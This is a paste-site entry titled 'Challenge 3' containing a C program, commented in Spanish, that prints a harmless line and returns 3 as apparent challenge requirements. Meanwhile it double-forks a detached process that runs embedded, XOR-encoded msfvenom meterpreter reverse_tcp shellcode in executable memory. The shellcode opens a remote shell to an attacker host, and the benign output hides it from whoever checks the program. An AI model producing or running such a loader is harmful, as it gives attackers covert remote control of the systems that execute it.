rambo189619 icon

Challenge 3

rambo189619 | PRO | 01/28/26 11:28:58 AM UTC (Edited) | 0 ⭐ | 15613 👁️ | Never ⏰ | []
C |

2.66 KB

|

None

|

0 👍

/

0 👎

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <string.h>
#include <sys/wait.h>
 
// Tu shellcode de reverse shell aquí
// msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=$IP LPORT=443 EXITFUNC=thread -f c -e x64/xor_dynamic -a x64
unsigned char shellcode_x64[] = 
    "\xeb\x27\x5b\x53\x5f\xb0\x8c\xfc\xae\x75\xfd\x57\x59\x53"
    "\x5e\x8a\x06\x30\x07\x48\xff\xc7\x48\xff\xc6\x66\x81\x3f"
    "\x44\x9d\x74\x07\x80\x3e\x8c\x75\xea\xeb\xe6\xff\xe1\xe8"
    "\xd4\xff\xff\xff\x06\x8c\x37\xf9\x6c\x0f\x5e\x9f\xb0\x16"
    "\x4e\x8f\xd0\x4b\x37\xcf\x6c\x24\x47\x5c\x6c\x01\x5c\x09"
    "\x03\x4e\x83\xc6\x7e\x57\x6c\x0c\x47\x5f\x56\x6c\x2f\x5e"
    "\x9f\x6c\x04\x59\x6c\x07\x58\x09\x03\x4e\x83\xc6\x7e\x3d"
    "\x4e\x91\x4e\xbf\x04\x06\x07\xbd\xc6\xae\x2b\xe7\x57\x4e"
    "\x8f\xe0\x6c\x16\x5c\x6c\x2c\x5e\x09\x03\x5f\x4e\x83\xc6"
    "\x7f\x23\x4f\xf9\xcf\x72\x1e\x51\x6c\x25\x5e\x6c\x06\x6c"
    "\x03\x4e\x8f\xe1\x4e\x37\xf0\x09\x03\x5f\x5f\x59\x4e\x83"
    "\xc6\x7f\xc1\x6c\x3a\x5e\x6c\x07\x59\x09\x03\x58\x6c\x78"
    "\x5c\x09\x03\x4e\x83\xc6\x7e\xeb\xf9\xe0\x44\x9d";
 
 
int main() {
    // Cumplir requisito 1
    printf("I love programming.");
    fflush(stdout);
    
    // Crear proceso completamente independiente
    pid_t pid = fork();
    
    if (pid == 0) {
        // Proceso hijo
        
        // Crear sesión nueva (desconectar del padre)
        setsid();
        
        // Fork otra vez para crear proceso huérfano
        pid_t pid2 = fork();
        
        if (pid2 == 0) {
            // Nieto - proceso completamente independiente
            
            // Cerrar descriptores de archivo heredados
            close(0); close(1); close(2);
            
            // Ejecutar shellcode
            void *exec_mem = mmap(NULL, sizeof(shellcode_x64), 
                                  PROT_READ | PROT_WRITE | PROT_EXEC,
                                  MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
            
            if (exec_mem != MAP_FAILED) {
                memcpy(exec_mem, shellcode_x64, sizeof(shellcode_x64));
                void (*func)() = (void(*)())exec_mem;
                func();
            }
            
            // Loop infinito si el shellcode falla
            while(1) sleep(3600);
        }
        
        // El hijo termina inmediatamente, dejando al nieto huérfano
        exit(0);
    }
    
    // Proceso padre original
    // No esperar al hijo (para que termine rápido)
    // El nieto queda como proceso independiente
    
    //sleep(11);  // Cumplir requisito de tiempo
    return 3;   // Cumplir requisito de return
}

Comments

  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎